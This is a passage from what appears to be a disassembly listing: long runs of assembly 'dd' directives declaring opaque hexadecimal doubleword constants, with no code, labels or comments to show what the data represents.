		dd 816FD99Eh, 0AABF4AD8h, 2F2B3810h, 99A23B8h, 0B5054F69h
		dd 1949C0F0h, 0A700BE6Fh, 208A079Eh, 9DB11AB0h,	6834CC10h
		dd 48899A27h, 80FB4E70h, 8CAAE89Dh, 0FE9F2040h,	92E2500h
		dd 0B59EE8Fh, 7AEF028Ah, 0BA6A34A1h, 0E84E9074h, 646E04F2h
		dd 0BC7CBCDDh, 36008CFEh, 0A910E2EEh, 12839508h, 0E4DF810Ah
		dd 67881414h, 0E8255901h, 7B322803h, 0D862D99Dh, 54865688h
		dd 353144B0h, 84A040E6h, 3A09C70Fh, 26CD0C87h, 40817FC8h
		dd 65032629h, 7D2144B9h, 4E50094Fh, 54239873h, 0A3C5F8F2h
		dd 0B94A3188h, 442B18C5h, 46476A68h, 81FAACh, 0ABCC9FD5h
		dd 0D065D23h, 5C909100h, 0B30571A3h, 0D247176Eh, 88288F94h
		dd 257BC1FAh, 3433B6h, 0DD4E3222h, 4442A0h, 8CA4DAFEh
		dd 96268673h, 0F400C4B2h, 95719148h, 0B2CB005h,	28C1A00Bh
		dd 0D8C4CE06h, 0E8A4B900h, 13C8395Fh, 0CCED50A9h, 85731456h
		dd 0F3AC5445h, 7C1F008Ch, 0AF27FFBh, 25022DB5h,	0AA5D0B03h
		dd 131CE9E3h, 0C7C8493Bh, 0DF82470h, 0ECD90E64h, 200780EDh
		dd 204B6127h, 0E0C1A547h, 28D0E22h, 753E5C46h, 85C67FCh
		dd 91D8976Bh, 0AEAF81E0h, 0F8E3476Ch, 0E8F9B1D7h, 0E1D10928h
		dd 0F85BC586h, 75330D0h, 86391BF1h, 2073C9D8h, 64C4E525h
		dd 267D60FEh, 0E1640CBEh, 47481B92h, 0D8B0270Bh, 32B84018h
		dd 9FF78022h, 450BD904h, 0F490F30Eh, 4B23DE6Fh,	80349B71h
		dd 166554A1h, 349F07ACh, 0B0C362B6h, 0E08D7B33h, 0B0173E24h
		dd 0F1085CA4h, 20F028E3h, 9EC08E6Eh, 3E4AA3FEh,	81E25Fh
		dd 0FD095190h, 0B02AD12Eh, 382FD65Fh, 4E009823h, 45D45C3Eh
		dd 1C9401F6h, 4A2FCCE0h, 34D17031h, 0D491694Ah,	0A0220886h
		dd 6FC0204Bh, 2912CD6Bh, 0A0049EADh, 8B168F56h,	0C0F9C8F4h
		dd 0DF2D4125h, 0B46C3718h, 2A5D9279h, 17C4E602h, 78DB4212h
		dd 0B50E3670h, 8135EBEDh, 0B111A780h, 7CD4FDFCh, 976E00C1h
		dd 77B890FCh, 0D9003D6Fh, 0CC763E1Ah, 755B720h,	6CB00AB5h
		dd 86081712h, 0C7F040ABh, 0CC747003h, 0B1D58E30h, 8985628h
		dd 68EE21C4h, 0B2557403h, 0B81C6A57h, 5925E7h, 2B729D6Bh
		dd 0A7820D0Eh, 6F0DD0E6h, 38169336h, 6D1BA081h,	80B4F9FDh
		dd 6ACAD111h, 2EE13A70h, 330D15CBh, 2100C708h, 166AC2F7h
		dd 0D950CCh, 0B684E6A6h, 8F23E17h, 72C02602h, 90061211h
		dd 11746E60h, 887E30CAh, 66EC80BCh, 622DA574h, 0ACF0C018h
		dd 1D9B6519h, 0F100807h, 0A80790B5h, 7BAF7022h,	0A70AD6B1h
		dd 0B4709961h, 0D4FF8C81h, 0C044F609h, 2087C432h, 8AD4F7ACh
		dd 0AE055AB8h, 14AA84D7h, 930D8000h, 3BA3DB87h,	9D80369Fh
		dd 64F5B724h, 7B00CCFFh, 727194ADh, 0A002629Ch,	3FD516C4h
		dd 0E1365CF7h, 0A0F09020h, 0A5087C60h, 51FA4611h, 0A891ECDBh
		dd 0D5068068h, 4323F610h, 90882236h, 7FD4001Eh,	818DDD7Eh
		dd 15039E8Bh, 7044FA01h, 3E71EE49h, 0E4548FC3h,	30100031h
		dd 912D9B07h, 0F53A92ABh, 212E3290h, 0D5A04058h, 935600ADh
		dd 0FBE2DC1Eh, 9A48362Bh, 243B8C54h, 0A62A00B8h, 74D46AE0h
		dd 531D48F0h, 0B9DF47D6h, 603C4C81h, 9C42E5A7h,	41C4CF8h
		dd 3A6B6AC5h, 80B867B9h, 246ABDF2h, 3C1496A6h, 59CDFDBh
		dd 0CBC63610h, 8723943Eh, 59FE000h, 276A501h, 223CD898h
		dd 444042CDh, 69077807h, 0FFC7DF9Eh, 0B9F090B1h, 20F99092h
		dd 94EE0E80h, 0ACA6BC28h, 6A6E920Ch, 6B3C90A8h,	500368AFh
		dd 3040B299h, 48CBFBCh,	9B03300Ch, 2026620Dh, 0F1300454h
		dd 2A3A5806h, 28982965h, 94096B6h, 36F90A3Ch, 18079C11h
		dd 0CB74086Fh, 0BBC48630h, 7467ED41h, 0E1F5C529h, 6F50806Dh
		dd 0D366BB6Eh, 53216D2h, 968F06BCh, 88C42155h, 411D27C5h
		dd 0BA60D7CFh, 2BE88E17h, 0C288906Fh, 6300FC0h,	8025439Bh
		dd 64300757h, 0F32733Dh, 0D8A2A17Eh, 6D6A9F22h,	0F9A1060h
		dd 0F4B8A868h, 5876711h, 1BF6F2D5h, 0A0368331h,	8CF78901h
		dd 80789ABEh, 4FECC619h, 785C28Eh, 338950C1h, 0CDF2F0BEh
		dd 7260C305h, 0E9286C71h, 0E7580352h, 0ADF1C08Ch, 0CEAA191Ch
		dd 0BFA1667Ah, 0C0557859h, 8D76DC21h, 0E202BAF1h, 0FA2FCEC5h
		dd 0E6DC6166h, 8AA73448h, 6002E004h, 23C6746Ah,	0C2115E30h
		dd 7462E800h, 26FD2BE1h, 291CF500h, 0C764F7E7h,	89090CDh
		dd 0BD42369Ah, 0EA8DED00h, 16D20A34h, 51BE4E9Eh, 2BCA81Ch
		dd 2071BF03h, 0F35C6E08h, 6F7002D7h, 10A69032h,	97B744C0h
		dd 1454BB49h, 76CF2C0h,	0B8E7D10Dh, 7C8C9E40h, 4184935h
		dd 0C5A09200h, 631ADC98h, 0E8166B26h, 9012520Ah, 0AB670444h
		dd 6E301B82h, 10BD90B1h, 147464EAh, 0FC59B2C7h,	0DE5D58C1h
		dd 3976F0CFh, 0EA629B00h, 0F102B0FDh, 87A49045h, 61C144C4h
		dd 0ED40866Ah, 13925ACFh, 458D2A3Ch, 82623724h,	0CB20B0C8h
		dd 2E8A64Eh, 911CA4EFh,	80A0258Fh, 76B9FAE2h, 0A0ECEB0Fh
		dd 0E0758FEAh, 0CD2A3B98h, 8C3E01BFh, 10700692h, 3A891FDh
		dd 30F06B8Ch, 0E0186648h, 0F7463E9h, 6A0E7C35h,	5B17F960h
		dd 0E8B21B56h, 46170098h, 2853BEE6h, 80EBB024h,	0E80283DBh
		dd 0B7425Ch, 21BED24Dh,	0D9B35Fh, 3E69280Dh, 436F7809h
		dd 0B0B1C2E8h, 911884D9h, 38E47B02h, 44307C99h,	6E9C0C0Ch
		dd 5298CF72h, 0A465FAF7h, 866029E4h, 0C17EBEC0h, 0CEFEA0B8h
		dd 0D75622EAh, 3649A054h, 0B2DC058Fh, 82EA5D7Bh, 0C630F968h
		dd 433AEC6Ah, 0BEF380C1h, 123ACC6Ah, 0A2B290Ah,	13786114h
		dd 0CB0BBA20h, 894802D5h, 0FA680141h, 66AC42B5h, 12D50430h
		dd 3913F60Eh, 0D4FCC4D8h, 5C2E2903h, 0DD01DA62h, 90D2490h
		dd 6480A193h, 0D50A0218h, 2803F60Ch, 0AF408644h, 26B3D4FAh
		dd 0F5FC9C00h, 3277CDEAh, 82F10943h, 0B3FE44DCh, 69014C2Bh
		dd 5630C574h, 0E780A023h, 33EE7461h, 0B5DFF501h, 759A3003h
		dd 0D5227180h, 5120E0Ah, 0BCC5CB17h, 0F6ABB101h, 0BC4235C3h
		dd 6ACB30FEh, 0E93A7111h, 0F880CD88h, 0B7366AC3h, 8C1A0070h
		dd 86B18E35h, 0C3A0A46Fh, 5D2C6BDAh, 0AD1B680Fh, 8449CFD9h
		dd 845DF910h, 0C08B2A9Eh, 116D61FCh, 0C26478A5h, 0C4096260h
		dd 0B9A1C500h, 66D2E96Fh, 5354067Dh, 0B1B8FB18h, 4DF0B21Dh
		dd 0E7D0D1C4h, 8C625888h, 0F69141E1h, 805823F3h, 0C8D4F8ADh
		dd 0D3730027h, 2108A8B6h, 0A924E534h, 4676D411h, 15D01281h
		dd 94BE7205h, 22C08400h, 10702180h, 28186264h, 3C1CA0A7h
		dd 30CBAC29h, 71F81091h
		dd 0E260003Fh, 2404D8BEh, 3D013864h, 0F7A0669Bh, 7EEC4F89h
		dd 0A19D0428h, 8716902Eh, 5CAA7884h, 0EF2CF60Ah, 0F90AD4E2h
		dd 698098BFh, 3F81F117h, 369D00B0h, 0EC741E27h,	0E014B13h
		dd 61D71D1h, 0FC23893Dh, 523089A2h, 0AEF0006Eh,	1D506D5Eh
		dd 0A00F5322h, 0A92C176Ah, 0B780013Ah, 5ADE7A99h, 1CF74690h
		dd 3A486AC4h, 47CAC4B1h, 65F0BCF1h, 0BAD1336h, 0AF25CD7Bh
		dd 0EC51109Ah, 8718C059h, 0FD5050C0h, 167294B7h, 4EAE26Dh
		dd 2131EC8h, 0E43720F9h, 28D23C44h, 44F22AEh, 8E463D78h
		dd 0C0BD88E8h, 9AD87B4Ah, 0F2597A60h, 0DE5CDDh,	0B665B8E8h
		dd 1AA96F4Ch, 0D39D7C01h, 3B2B7BB5h, 0BD889428h, 1300AC0h
		dd 90FD219Bh, 52032D91h, 3CA63002h, 74D878C3h, 0AA0B1883h
		dd 11F6669Ch, 3C10BB68h, 0CB1C358Bh, 9E8BC2A1h,	0F585009Ch
		dd 16A33h, 0ED918AD8h, 0E55B3D6Bh, 0DCB93090h, 0A5182A79h
		dd 24CF7D00h, 0EE170131h, 77270186h, 0CBDD65D3h, 0A23473C7h
		dd 0B91030BDh, 1030C25Ch, 300E2799h, 792129Fh, 692FDCC4h
		dd 0C0C4A0C5h, 321C3660h, 7CD8931Ch, 0A00398C0h, 60552531h
		dd 8D4129B9h, 0F30946F8h, 0C0A0F42h, 0DEF6DDh, 43EB2BFEh
		dd 0B27E4E9Bh, 0E4CAB8A0h, 9814454Bh, 96A82230h, 3400DCBCh
		dd 0DE165036h, 33291A7Bh, 6B217699h, 0C3659A00h, 0F88F2AFCh
		dd 87D0020Dh, 0B6FB068Ch, 2D03945Ah, 0F8A29D0Eh, 0F689A06Ah
		dd 0D9CB2864h, 36D81CF0h, 0BFB870BAh, 35C47A2h,	90172240h
		dd 2D341864h, 9AF94868h, 0BE4A3618h, 4BCF28E9h,	815406AEh
		dd 0C0157074h, 189CBFF1h, 0E3491990h, 877A01ACh, 0A68EC491h
		dd 3A1C4097h, 3451C8F2h, 44C7F1E8h, 88208E0Ch, 9153C0CCh
		dd 1602AD10h, 2117E6E8h, 0B1486837h, 3496E464h,	0D9608F72h
		dd 0BC202C6Ch, 0BF0F8CC2h, 5FF76049h, 0BECC4E40h, 0E5E29ED0h
		dd 0FD0F6089h, 0C5C1A84Dh, 3F208575h, 0AC7DB4h,	105BDB2Bh
		dd 392107C0h, 0EDD16D60h, 4ACF182h, 120A1719h, 5884BFF6h
		dd 0C072EC02h, 58E45AF7h, 0AEC0ACA0h, 667B64EBh, 14F79404h
		dd 94B0D26Eh, 0CD0D00CCh, 9F331F49h, 0C8C095FAh, 9B5CF611h
		dd 4458C1D5h, 80A80236h, 12730831h, 63E75C70h, 0C1FA20C4h
		dd 2E5D6900h, 19083588h, 79A500F5h, 64DA9982h, 0E400A3C4h
		dd 930E673Ch, 30A86387h, 2339BEF9h, 7C0009DBh, 49289284h
		dd 9840C287h, 5CF816A7h, 6F1C83EFh, 0DE2018Fh, 0A2AC23B2h
		dd 0D89E3185h, 6409AFBEh, 201D905Ah, 0FA33C854h, 62AB00D9h
		dd 0C238C415h, 0F9042959h, 4488DC4Bh, 1A7140C1h, 369B0500h
		dd 88C8FA28h, 940E2B00h, 96D8BA83h, 0A08051C2h,	429D3088h
		dd 0A86E9006h, 0B17C1368h, 0EAC61C1h, 1D509330h, 202BAC62h
		dd 80300656h, 7057ED02h, 8E5377D8h, 14DC68CCh, 9680A0FAh
		dd 57D1F22Fh, 1FFF9700h, 5F186D56h, 68F71CB8h, 0CD649621h
		dd 0E1306064h, 0FCA13A6Ah, 0B93B0A40h, 506DF762h, 3C8CC4ACh
		dd 0EA8F2B8Ah, 0B841FE2Eh, 0F4436001h, 9CA0DA56h, 624C07FCh
		dd 1233113Ch, 0C2E21D7Ch, 0F8098005h, 0BE01737Dh, 3C780703h
		dd 7209137h, 722ED629h,	0B82C0026h, 36001AD7h, 691783E1h
		dd 96A205CEh, 0C8465E50h, 22270200h, 0FE669AC6h, 6C8190D6h
		dd 0C704BB7Fh, 0D5E408Ch, 6D2921DAh, 13A9025h, 6E45A123h
		dd 3881AEFEh, 0B1AB2CF9h, 0FC2E147Fh, 1062523h,	0A1C2FBh
		dd 0AA897403h, 21CF6222h, 5E2FCA2Dh, 9E690037h,	67F03740h
		dd 0FA46A09Ah, 297A3F48h, 117CC93Ah, 0BFF400CEh, 4E53E96Ah
		dd 987901DBh, 75D54CD0h, 7B883956h, 0A400187Eh,	248F4AAh
		dd 0ECFF1E70h, 0B83A000Bh, 5DF86CC4h, 0A726311Fh, 418620EEh
		dd 3841BA55h, 96072CF4h, 20BE9EE6h, 0CA0393C1h,	58EF5700h
		dd 9A4FDF66h, 1ED4927Fh, 934736h, 9CD98B80h, 5D1494BBh
		dd 0B32C23h, 711878D2h,	548FFD01h, 379821h, 0AA5DD10Fh
		dd 0C6781F96h, 73F20200h, 0B738F960h, 1129C199h, 4812660Fh
		dd 8967CD8h, 0B9B812DEh, 74150CCAh, 6E1E02F0h, 54A68B34h
		dd 350834A6h, 0AF053E46h, 3BBA050Fh, 78C7BD0h, 671C2122h
		dd 0BD3E50DFh, 0D3078410h, 0F2B00A32h, 7988620Bh, 18C07918h
		dd 59F70141h, 0FB2C33E8h, 99E864A6h, 0C9F16D60h, 0F154FF28h
		dd 4097C0A5h, 7983C791h, 0CFF0FCD9h, 909A910Eh,	2FAD2210h
		dd 0F2F12858h, 48D8284Ah, 8CBDE840h, 0D01B9C0Eh, 8822F6C0h
		dd 36D040A3h, 44F780B0h, 7BE5D311h, 23E02B5Ah, 3A11002Bh
		dd 0A3356803h, 44965606h, 1950CEB7h, 796D9492h,	0A42254h
		dd 0A38256B6h, 84DAE3h,	6BF379Fh, 6427EADBh, 5AF1D200h
		dd 96B75281h, 9AA0A8C0h, 2DC4A977h, 1CE478F0h, 43879902h
		dd 3A70E968h, 411369C1h, 70ECB2A4h, 124082C4h, 0E7D80028h
		dd 3420B97Fh, 105B322Ah, 350DC01Eh, 0A43659D0h,	190DDCF0h
		dd 9B434E02h, 5002C732h, 223A17C8h, 90B04255h, 7059B1BDh
		dd 0BD182ED9h, 0B805801Dh, 0E63C0C81h, 0F088DC89h, 0B0031F2Dh
		dd 59DDECEh, 31F27878h,	5864E310h, 8CBCE8F0h, 0F95B3376h
		dd 0FAD9E440h, 37B9D2h,	9EE1A963h, 7AC6B15Ah, 54F8975Dh
		dd 5632AAC4h, 729049DCh, 3F5800FCh, 6323A895h, 5400A3D4h
		dd 0CCA5131Eh, 1047ED76h, 97B4DD2h, 0D66A6Eh, 9C2D334Ch
		dd 407F5EAFh, 22CFA7BCh, 3701BC8Dh, 238E4432h, 2C30A31Ah
		dd 88A16972h, 9DA06800h, 0CA3EEEA4h, 1D38E310h,	0BBC36Eh
		dd 0ED33D258h, 288CF1B2h, 0D59DA0A0h, 3218449Ch, 0E4664269h
		dd 109092C1h, 9D65F64h,	50B64610h, 27CC00D0h, 60D32906h
		dd 0CD00C519h, 5E3C6237h, 9210FB38h, 0E8614824h, 0A4B79115h
		dd 0CCFA3A06h, 8D017823h, 0B6DE9582h, 9C3089C7h, 0CBD54067h
		dd 303C18A0h, 465EEC96h, 230D00BEh, 64F84987h, 4D4BCABh
		dd 8E7199D2h, 0CFC48808h, 0D1BCF0E0h, 420AF71Fh, 0D863EB4Bh
		dd 4BFBE08h, 0B2F49ED2h, 30C7F25Ch, 55589389h, 904A109Ch
		dd 0B44DC1Eh, 2C21C6AFh, 70F9BD01h, 6600D28Ch, 0FFC74239h
		dd 9690CD9Ah, 46F341B4h, 0CDFFCE2h, 9CF84103h, 25C41A66h
		dd 0B098CBA0h, 6425F23Ah, 0A7BC8144h, 3C00A102h, 4360FD2Ah
		dd 97125718h, 5E6496DDh, 0AA00C346h, 406F33F2h,	1C0FD2E1h
		dd 0CBA1668Fh, 95E8447Fh, 86915C15h, 7A5EB883h,	2265E1F0h
		dd 8E6E130Dh, 0F03DE0D7h, 0F5768F22h, 7401A74Eh, 12456720h
		dd 0CCAC586Dh, 4BEE5A1Fh, 0FCAA94C0h, 47806C3h,	0CBD74670h
		dd 21BA41B7h, 9C412409h, 3C28D532h, 2330EEBDh, 0D27EB8h
		dd 0AC557204h, 0DBCE669Ah, 0FC913093h, 6F6AC980h, 8C9CD93Ah
		dd 0C1F658h, 5568BE6Ah,	0AF530FF2h, 893D4A00h, 9C58ED2Ch
		dd 182490C9h, 68B75E46h, 21137F97h, 0A053EB39h,	0B68FC4C8h
		dd 0F4D28070h, 7C7E0D7Fh, 0B057C98h, 1268F00Fh,	0C523502Eh
		dd 0C1ED613h, 9F013450h, 2D7C8A4Dh, 203E2E4Eh, 0A2002823h
		dd 0B70EF32Dh, 71BD659Dh, 0B12CD19Ah, 8338FCC4h, 0A5B55413h
		dd 8A9E4880h, 0A32C12F6h, 71C00C0h, 95B67172h, 1490694Bh
		dd 0E0EC4BDEh, 4E94B46Ch, 9C58DBD3h, 5F611E40h,	12CF42B2h
		dd 8743D8Ah, 1C2638Ch, 0C4D3D7D5h, 31A9D6C0h, 1E94742Ch
		dd 0BF0B97h, 0FC4A33D7h, 840343Dh, 5386300Fh, 0B9BD8B39h
		dd 65B187Ah, 0EF2C40FBh, 10EA88A4h, 0C087C200h,	0B0CDF93Dh
		dd 77DCE6EDh, 817E006Ch, 0C28B6660h, 5136BD89h,	35C8442Dh
		dd 0BF4963E9h, 71B0CCB6h
		dd 2100D290h, 0F0BF0F52h, 0B5C08B5Fh, 1D628F4h,	29F9FA91h
		dd 6F010D85h, 0A1103FFDh, 41FB5A26h, 8172AD6Ch,	0D112F046h
		dd 0DCF06500h, 8B61BCA1h, 0BDD8E4C3h, 0BD6F07Eh, 0B60933B0h
		dd 6936007Dh, 66F3ABh, 8B6BC1BFh, 5185C7FBh, 1B8E2560h
		dd 0A77C5749h, 601B449Ch, 195E9ABh, 8C25A4AAh, 830AE8C7h
		dd 0FB17E021h, 8F87D0D0h, 5998077Ah, 0A192E781h, 455E082Ah
		dd 59A2AFB1h, 663017E2h, 23D33FE8h, 31FDBD9Ch, 2407D0C8h
		dd 69458535h, 219DBB01h, 26ECCE07h, 0E60E819h, 0F05E5A0Bh
		dd 71B05CFFh, 0EC921A07h, 1F2C5221h, 435ADFh, 0E31C44C0h
		dd 8A82A2BEh, 322CA700h, 0FF5FEBC3h, 0F542A285h, 9F07C0F2h
		dd 43209B4Ah, 92795B20h, 0C6080049h, 11CE06FEh,	0E9227C36h
		dd 80BD0014h, 519AA68h,	11009693h, 0C057476Eh, 1C981DEDh
		dd 0B22EDE72h, 0B11B56Eh, 0DF1335D8h, 5195040Ch, 0C7810034h
		dd 906D7837h, 0E2FCB56Bh, 218465Ch, 2AA04AA2h, 0E80C4DB2h
		dd 0B523C176h, 66AD8389h, 0B0CD24BEh, 688BF0B7h, 8D604FAh
		dd 0BF9229D5h, 0DAFFA216h, 0F5F1C014h, 6011B58Bh, 0E6817132h
		dd 3D989C91h, 0BD19D920h, 1D6675Eh, 60BCBED5h, 0D28ECC45h
		dd 0C200E646h, 0C5D1F2F4h, 99BD655h, 0B27C78ECh, 0EEC8BC00h
		dd 0F9A6CE8Bh, 0A35B7200h, 0CAA42196h, 81AA00A0h, 3ABEAB4Eh
		dd 8F13A84Ah, 6E1655F5h, 8822CBBFh, 773AC019h, 0DD02752Eh
		dd 0BD29601Ah, 0BF87A005h, 182817B9h, 3507E84Fh, 947DAA25h
		dd 95E6DC14h, 2181139Eh, 7F485670h, 51FACBh, 83D7E214h
		dd 595F4F21h, 25E96107h, 0B61AFFF8h, 755BB38Bh,	918D5BE8h
		dd 51D9A500h, 1BCA01B0h, 98EF0072h, 0AC0999B4h,	0FCBDC18Bh
		dd 1571D6F7h, 0BE3C3D00h, 93AA9A45h, 7256B7CDh,	5B757480h
		dd 0EFF6FCh, 1DAAC45Ch,	0F4AE47FFh, 2F567E06h, 0E12D04EBh
		dd 69005D33h, 809DFABDh, 0C1004708h, 565F53E9h,	0B805B589h
		dd 0E067839h, 1461858Dh, 7454E4FDh, 43091646h, 87001130h
		dd 509076D5h, 41FF525Ah, 8FC553BEh, 0FE0E0C8h, 83303172h
		dd 61601D02h, 5058245Ah, 0AEB6092Fh, 1791F41Dh,	0C8D92A81h
		dd 0FEB92020h, 8F0C7EB7h, 6420AC29h, 0BB6C3601h, 0AA260E03h
		dd 0D8F81297h, 0EBDE8B60h, 2F894F24h, 287DCD85h, 4674E693h
		dd 54080019h, 0B9F04862h, 15B51A2Bh, 0B4015223h, 0DB130AEEh
		dd 49088BC1h, 49544190h, 0DF5E0216h, 0B00E272h,	0D69345C1h
		dd 418779h, 71F25418h, 0C08348AFh, 0E2510552h, 0A33301Bh
		dd 0F8643F3Fh, 4542A52Eh, 0C2FCF30Fh, 0F5240489h, 0C1591453h
		dd 42C94B30h, 61EB5E31h, 51291D2Fh, 1502860Eh, 0FC084B12h
		dd 0B5D5AD8Dh, 88F8037h, 98859DCh, 0A440CD29h, 0E0CB8C83h
		dd 35D0874Dh, 0B4E03F5h, 0D707FD75h, 985EAC01h,	0E6123112h
		dd 99264F20h, 881C057Bh, 0BAD3FF92h, 0DDB021F6h, 0A80129EEh
		dd 87324864h, 2D30CEF0h, 50362CC7h, 24590BB9h, 44796775h
		dd 9F6A6018h, 0B0B42461h, 2FE6079h, 0F774C780h,	33C57F0Bh
		dd 0B5EADD0Ch, 81FBF604h, 11CC939h, 0F9ADA5E9h,	0F88331DFh
		dd 0EC015725h, 8F051465h, 25860B55h, 15ED7501h,	35FC70E0h
		dd 8D50008Ah, 9D8BAA08h, 66D32FF9h, 19A9B906h, 0D6E3707Fh
		dd 5884106Bh, 0DDB0B17h, 36118398h, 0F2EFF08Ah,	7A78010Ah
		dd 0E9F82B5Bh, 0CEC11007h, 147C00DAh, 0BD8375AFh, 8EA308D2h
		dd 57BE885Bh, 736E1Fh, 36156413h, 4CE4A58h, 0FFA750Dh
		dd 0BD9E8C82h, 0D726F0A2h, 8B0A1744h, 4585C7F8h, 0E9E08B22h
		dd 0F093345h, 4773FDC2h, 0DCF6D0h, 6BDE798Fh, 3289A5C1h
		dd 5114F898h, 0C1D68D58h, 0FEFF2381h, 352E9DCBh, 85001623h
		dd 0F28BF949h, 0DB8C2F66h, 9D8FB57Fh, 0C16512EAh, 0E5F6F9B2h
		dd 3FD44204h, 49370429h, 0DE3EB35h, 80B06AF1h, 891A4338h
		dd 161C31F9h, 24880F50h, 0F5900DC5h, 45AA211Eh,	0E9E488A2h
		dd 0B76FCF69h, 98DA9FB8h, 105521Ah, 0E86EB081h,	0BF3183FBh
		dd 0B4F3D093h, 4D5000CAh, 0C6594270h, 8B0F487Dh, 57E65FF1h
		dd 0C080DAAEh, 0E58D891Bh, 0E47AC408h, 0F669C071h, 76B77D3Ch
		dd 96178029h, 6FCD7E8Dh, 1A3BC01h, 0D8B60FFBh, 57F00C26h
		dd 76B74105h, 0BBD88021h, 1C09B2Ah, 3A1A7A09h, 0F57312BAh
		dd 0ED58FC5Bh, 5AF3002Eh, 579D3BF0h, 0DAC0B9B6h, 8B9BAFE7h
		dd 4A5CBDC3h, 5C1B00D6h, 6CA522B0h, 450D410h, 0D40DDDDh
		dd 0B5951889h, 0E8C10C1Eh, 7EE96EFFh, 6100F9ACh, 0DFA8BACEh
		dd 0ADE2F766h, 73AF6057h, 930FD9B7h, 5DF09EAh, 0AD248F0Fh
		dd 10051CC1h, 7BD82B01h, 8CAC91E9h, 71D9851Fh, 91977F84h
		dd 30BD2881h, 95A96E07h, 0BE936B20h, 0A51D3FDEh, 0BA8F5044h
		dd 970ECFC1h, 0C0039AEEh, 0D2FF42A6h, 20CCB866h, 45961975h
		dd 3702F768h, 717BE40Ch, 0DE28A645h, 6F0B8F00h,	63943E6Ah
		dd 0F9952C29h, 0F85083BAh, 0BB85B05Fh, 0B3B01AE6h, 0F67F0676h
		dd 7C02E216h, 35E0D3EBh, 4BD645C0h, 0FB300D01h,	31BD232Bh
		dd 0FC54A955h, 6E3304D7h, 0E0847CE2h, 1459EB04h, 41613C07h
		dd 23017E83h, 301AE2A6h, 750449A9h, 4B60021Eh, 0D037FC95h
		dd 40FAB782h, 925F56A9h, 7885937Bh, 0E602DE3Ah,	534A22BFh
		dd 817D4A78h, 0ACA3CEDBh, 50E95220h, 1793C08h, 0E6D1555Eh
		dd 0A4589A30h, 70BDA20h, 0B96DD501h, 0FB4D6E0h,	89F10910h
		dd 0E540599Dh, 54BD07B9h, 7ABDC0CBh, 141CB1AEh,	56407C82h
		dd 0DD41726Dh, 0C183380Eh, 0F666204Eh, 0CCFA5F65h, 9722863Ah
		dd 0B50ED93Bh, 17F810B1h, 0D6793C8Ch, 168D61ACh, 0D9B209FEh
		dd 1A11421Dh, 59E1C880h, 3F01B1DBh, 0F6FB8BC5h,	0EC7B04C1h
		dd 93EF9629h, 1AF84135h, 0C93A170Eh, 0C6D48014h, 0F8827802h
		dd 0F0813A74h, 4A94CB59h, 0D105518h, 2E32DBDh, 0C6EF805Bh
		dd 62B077Ch, 619D29C3h,	0D3B41C28h, 0F04031CFh,	923D9103h
		dd 0F89688F3h, 29C08B02h, 871725B5h, 0D9DB936h,	0C6595E68h
		dd 1A418DC2h, 0C1B0060Bh, 0FFB90BB1h, 68775BD4h, 0F5584D2h
		dd 48A6BE7Fh, 384E7CA0h, 5D018267h, 76E6EFE0h, 80961993h
		dd 2900CFF5h, 1AF9F64Fh, 8A02F318h, 852E070Eh, 0AFF0D113h
		dd 83EF355Fh, 62F880ADh, 94871FE2h, 0A1940929h,	0D6ED76B7h
		dd 45D6E709h, 9BBA9422h, 0E0EB58E3h, 0FB25AD00h, 42DAACCEh
		dd 90F9282Bh, 0FC0144A7h, 0EC38CEB8h, 9D8D8B29h, 0E1CC07h
		dd 59C083A8h, 32F83074h, 0B2855700h, 0C6DBB8B0h, 3F9C3A1Fh
		dd 6DB50B09h, 0DB5E0524h, 16AC094h, 24D0D4FCh, 82E76C6h
		dd 2E391205h, 794AA680h, 0D9FD706h, 4BEE120Ah, 0FB650B20h
		dd 6017CD7Dh, 80F8600Ch, 0B2F3F505h, 24E26113h,	12FF8200h
		dd 0F5FAE550h, 5ED4D201h, 608722CAh, 83716228h,	0DB9AC32h
		dd 0FD53DF5Fh, 0B5C0C959h, 8E0F19F8h, 38521B05h, 0A95F2951h
		dd 951818D1h, 0FB40F704h, 0ACF0509Bh, 0E9A5C527h, 2DEEA18Ch
		dd 0FEB8E6h, 86D014EFh,	0F4EE2E6Eh, 0F1893E50h,	90311340h
		dd 0E91B4008h, 9E3D3460h, 0E16619A2h, 0E9B1014Fh, 29A250D7h
		dd 0E005F550h, 708598BDh, 3F10FBAh, 94A9B420h, 3E001971h
		dd 0E6760829h, 0A2B792h, 384DE87Fh, 0CADF4215h,	0BFD1A73Fh
		dd 34E58061h, 66F13BC3h, 5C75006Ch, 9C5B0C49h, 6D00044Dh
		dd 3A5DDE93h, 431324h, 1146FBE0h, 56F1892Ch, 481E4101h
		dd 0F6508EDh, 0F8A447ECh, 0F1BFE6Eh, 542AB9C6h,	9EA7DC0Eh
		dd 84BC083h, 0AB76E815h
		dd 4E3ABD18h, 3040F564h, 800F589Fh, 850049D4h, 0C76A4FD0h
		dd 6895B0h, 0A4C9192Ch,	30E1032Bh, 6DEAE5F8h, 86BB7000h
		dd 52272005h, 9DB60035h, 295EC194h, 9B03F114h, 40BADBC0h
		dd 0EE3000E6h, 0B7F3CA99h, 0D9001750h, 0C692188Bh, 3534D15h
		dd 1B9CD148h, 0FB9EA2Eh, 4895714Ch, 401F1340h, 187F5CDDh
		dd 0BCDC2C3Dh, 47B630D7h, 0FB2EEBBDh, 0E0C55801h, 0AA4DFE2Bh
		dd 6D1A456h, 0F424FD8Ah, 79225CF5h, 53600001h, 0B5F21F02h
		dd 35C0F304h, 2106873Ch, 4CD7007Eh, 8D90C467h, 0E5033AA8h
		dd 51023F86h, 912D01A6h, 30EDB0DCh, 0AE17D0C8h,	4B0A2D07h
		dd 0D8962FE0h, 0BA6F24FCh, 1C378019h, 0D3B893E9h, 7A7D1E0Dh
		dd 0CBF422D9h, 4552013Ah, 4AFFC3B5h, 53F7C015h,	5F253F00h
		dd 3C62EEA7h, 8BAE0EC2h, 99C02156h, 0F83461FCh,	4795E000h
		dd 1640A72Eh, 7126010Bh, 995E0F3Ch, 9EA6804Ah, 0E08368E9h
		dd 0C7AC00B7h, 6EB4E24h, 0EC307BC0h, 0DD1217DFh, 0B5D20117h
		dd 0F2072236h, 0C82121CFh, 0E1077C16h, 0B589DFCh, 82F036C2h
		dd 20B657A5h, 0B1ACE71Ah, 6820CC00h, 0B4F6EF8Ah, 0DE010036h
		dd 212AABB6h, 7F021649h, 284063E4h, 0D529C00Dh,	0D88D0072h
		dd 0FFB430ACh, 83E4B904h, 59FB9E1Fh, 70A58000h,	601D8Bh
		dd 3CAA9124h, 8405167Fh, 23A0BF03h, 0C02CF54Fh,	6FE301h
		dd 0C7FC5F33h, 876CCFA4h, 889DD200h, 0F36E285Bh, 76621E0Eh
